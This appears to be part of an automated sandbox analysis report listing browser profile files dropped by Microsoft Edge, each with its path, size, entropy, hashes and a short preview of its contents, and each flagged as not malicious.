SHA-512:	74DA96F9CFD229D321E0B1E30F2A1B7F4479C125955DA2D1CECF1A778B8EFB405207CDC7A2E73C3A60D58B5F9158AFAD5F6E923ECE7A1A780F7FF6C9F6432D43
Malicious:	false
Preview:	2024/11/08-09:21:01.010 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/08-09:21:01.011 1ce4 Recovering log #3.2024/11/08-09:21:01.013 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375549261573409

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8154166733721016
Encrypted:	false
SSDEEP:	24:3xcRw+r1QrL0g5IpsAF4unxwBftLp3X2amEtG1Chq5gZNKRwQKkOAM4J:3xUrc8zFw1Lp2FEkChQsonHOp
MD5:	566EC6E33921A8C383ED1D98AA5EAE2C
SHA1:	285AB78E7C6A123F191A18957447A8F21C80388A
SHA-256:	30F851ACB934D89B0FE4AA9A99DFBDD84E85962E9A3B27A8F5B54DD8E3F785D6
SHA-512:	7A4B8D5CBC80B2B4F4E990B2ACB1F6C561563B1CE7FB5C2B5BD34E641A187C91F7BFFFE87212406D3104899C21D062E8E1D86F706818FE0A3A6E4A7F4A60D140
Malicious:	false
Preview:	SNSS.......p..,...........p..,......"p..,...........p..,.......p..,.......q..,.......q..,....!..q..,...............................p..,q..,1..,...q..,$...43e302e2_2cb3_4b18_9b2b_3004fe977b40...p..,.......q..,....9v.........p..,...p..,.......................p..,....................5..0...p..,&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}.....p..,..........p..,.......................q..,...........q..,........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........ug&....ug&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.118196443088257
Encrypted:	false
SSDEEP:	6:HRjwi+q2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YRHWZmw+YRqGiVkwOCHhJ23oH+TcwK:xki+vBYebIhHh2FUt8eHW/+e9iV56YeQ
MD5:	69C2FF61F6125C65C2F6893484F84A41
SHA1:	E3FA3E838D2EDB803C092C27994239426AEFFB08
SHA-256:	99E1925D00E0127D77E477F27F7CED5DDF3076E2CF8499DA3DF4AAC12589F234
SHA-512:	D91E56B3FDC5995C3A4DAB533190AE38A754333FDC81774CBE092264B2298272996088B014CB5A20A0FD79CF818F1559CCA1104EB0D2333B2963E32656AAD4A0
Malicious:	false
Preview:	2024/11/08-09:20:59.040 dcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/08-09:20:59.049 dcc Recovering log #3.2024/11/08-09:20:59.050 dcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.118196443088257
Encrypted:	false
SSDEEP:	6:HRjwi+q2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YRHWZmw+YRqGiVkwOCHhJ23oH+TcwK:xki+vBYebIhHh2FUt8eHW/+e9iV56YeQ
MD5:	69C2FF61F6125C65C2F6893484F84A41
SHA1:	E3FA3E838D2EDB803C092C27994239426AEFFB08
SHA-256:	99E1925D00E0127D77E477F27F7CED5DDF3076E2CF8499DA3DF4AAC12589F234
SHA-512:	D91E56B3FDC5995C3A4DAB533190AE38A754333FDC81774CBE092264B2298272996088B014CB5A20A0FD79CF818F1559CCA1104EB0D2333B2963E32656AAD4A0
Malicious:	false
Preview:	2024/11/08-09:20:59.040 dcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/08-09:20:59.049 dcc Recovering log #3.2024/11/08-09:20:59.050 dcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.199679949202584
Encrypted:	false
SSDEEP:	12:H19vBYebvqBQFUt8mFN/+mYz56YebvqBvJ:bBYebvZg8nl6Yebvk
MD5:	F2B5B257D6F201844C81131358A131CD
SHA1:	D0E61CADE296F371DC3968DE176BF9DCAEA23312
SHA-256:	0DC64924637D2324DA9612D019BEBFF3D39F89DA2EB97C32E3E704EDAE3F18DE
SHA-512:	19B0E54A7B5A8C8CF08B8F719816E9CCD4A31BE4EE35896D209AFCC09A7FB943BF324EE828B83C1D7519D8C08C084BDE9767E73A1F15B04DB529E81EF6DD28BE
Malicious:	false
Preview:	2024/11/08-09:21:01.444 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/08-09:21:01.447 1ce4 Recovering log #3.2024/11/08-09:21:01.451 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.199679949202584
Encrypted:	false
SSDEEP:	12:H19vBYebvqBQFUt8mFN/+mYz56YebvqBvJ:bBYebvZg8nl6Yebvk
MD5:	F2B5B257D6F201844C81131358A131CD
SHA1:	D0E61CADE296F371DC3968DE176BF9DCAEA23312
SHA-256:	0DC64924637D2324DA9612D019BEBFF3D39F89DA2EB97C32E3E704EDAE3F18DE
SHA-512:	19B0E54A7B5A8C8CF08B8F719816E9CCD4A31BE4EE35896D209AFCC09A7FB943BF324EE828B83C1D7519D8C08C084BDE9767E73A1F15B04DB529E81EF6DD28BE
Malicious:	false
Preview:	2024/11/08-09:21:01.444 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/08-09:21:01.447 1ce4 Recovering log #3.2024/11/08-09:21:01.451 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1928c515-511b-4614-9788-dbb7bf0a7d4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\42ba6503-2c53-40f6-bc8e-b5d3a19faf3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\605c0c35-65c9-449a-a596-cd88e7556b8f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\93f6c6d6-8153-4be1-b835-4046e76cd5fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2aef3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF37d9d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF3a49e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cce40c4c-fad0-43b1-be6f-ad8b810f6f8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.199676345194433
Encrypted:	false
SSDEEP:	6:H0FZeMq2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8Y0FZWFojZZmw+Y0FZcFoPkwOCHS:qvBYebvqBZFUt8hZ/+aFA56YebvqBaJ
MD5:	B6A1E4B82267694B7A0460FFA042A663
SHA1:	B43217E00484F8CFA997AE9CB9143432183D3005
SHA-256:	2718444D985703BFDAAAB33E2A3C865E03541920A3E3CA54424057D3FE23F41C
SHA-512:	10CA4E899FF1C06DE9EE63D117CBCDF851463271CE640278248A1963B0B001F4C0068AF9CA05DD3FCE2823E27C396A3E7C261DF52DB81B6638068D09F19520E2
Malicious:	false
Preview:	2024/11/08-09:21:19.192 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/08-09:21:19.193 1ce4 Recovering log #3.2024/11/08-09:21:19.199 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.199676345194433
Encrypted:	false
SSDEEP:	6:H0FZeMq2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8Y0FZWFojZZmw+Y0FZcFoPkwOCHS:qvBYebvqBZFUt8hZ/+aFA56YebvqBaJ
MD5:	B6A1E4B82267694B7A0460FFA042A663
SHA1:	B43217E00484F8CFA997AE9CB9143432183D3005
SHA-256:	2718444D985703BFDAAAB33E2A3C865E03541920A3E3CA54424057D3FE23F41C
SHA-512:	10CA4E899FF1C06DE9EE63D117CBCDF851463271CE640278248A1963B0B001F4C0068AF9CA05DD3FCE2823E27C396A3E7C261DF52DB81B6638068D09F19520E2
Malicious:	false
Preview:	2024/11/08-09:21:19.192 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/08-09:21:19.193 1ce4 Recovering log #3.2024/11/08-09:21:19.199 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.211485973379366
Encrypted:	false
SSDEEP:	6:HRE/9+q2PCHhJ23oH+TcwtpIFUt8YRE/JZmw+YRNT139VkwOCHhJ23oH+Tcwta/o:xEQvBYebmFUt8eEx/+eN5z56YebaUJ
MD5:	ABED44452DC974055007D0F74EAC1608
SHA1:	D4BA64822388DA5A4D228E379531E62CFECCCA86
SHA-256:	FB3938F46F969CB3511BB64B49A2A8BD8EB3E083B47C5A03A9546CF008A8DD53
SHA-512:	DD80100B29B7C45B9B4A6A50EC80256F9595AB561425250D16DB1E09DE063D03D1545A9B8A7315B23805D53AA203D2CE52AFAE64C06E53BC5C2BB4C769ED4439
Malicious:	false
Preview:	2024/11/08-09:20:59.038 1908 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/08-09:20:59.038 1908 Recovering log #3.2024/11/08-09:20:59.039 1908 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.211485973379366
Encrypted:	false
SSDEEP:	6:HRE/9+q2PCHhJ23oH+TcwtpIFUt8YRE/JZmw+YRNT139VkwOCHhJ23oH+Tcwta/o:xEQvBYebmFUt8eEx/+eN5z56YebaUJ
MD5:	ABED44452DC974055007D0F74EAC1608
SHA1:	D4BA64822388DA5A4D228E379531E62CFECCCA86
SHA-256:	FB3938F46F969CB3511BB64B49A2A8BD8EB3E083B47C5A03A9546CF008A8DD53
SHA-512:	DD80100B29B7C45B9B4A6A50EC80256F9595AB561425250D16DB1E09DE063D03D1545A9B8A7315B23805D53AA203D2CE52AFAE64C06E53BC5C2BB4C769ED4439
Malicious:	false
Preview:	2024/11/08-09:20:59.038 1908 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/08-09:20:59.038 1908 Recovering log #3.2024/11/08-09:20:59.039 1908 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264744825667503
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMISAELyKOMq+8QTQKC+CVumf:K0q+n0JI9ELyKOMq+8Q7I
MD5:	3F3F615D2BF2309E96FBD6EA7F65AC19
SHA1:	23E94D55B3697BD00A96810A59D90B15452D7887
SHA-256:	9760904FA688270A754C24D6E8035922C5172EB6DAE74F276E76F50C5B4F2601
SHA-512:	3F44B93C4E0BA483ACC7572909D34A41E9E545B2CF752B72D951AB950526610E2258E8B9F6D0137A41404302631D1234DFB0790744EA66B45E644432947329B0
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46700165965927387
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0+F:v7doKsKuKZKlZNmu46yjx0s
MD5:	6F8C550F721AC646F2DEEF9A44827C34
SHA1:	151180A9C22A6AE67D909ECD4BFEF7334992ACED
SHA-256:	F5EC9091D23FD79DEA31F8A0DBC5098DB6C3C400ED8E03210C89E8EE5A11C118
SHA-512:	8642D5D4F676312742C8A1530BEC2E4D802881ADE360F180FF32AD4464414F59D8E4B37B0F65D922D177BC57A9F8212AA57250903CF3EF9F84DE9D0B5DB4DEDD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

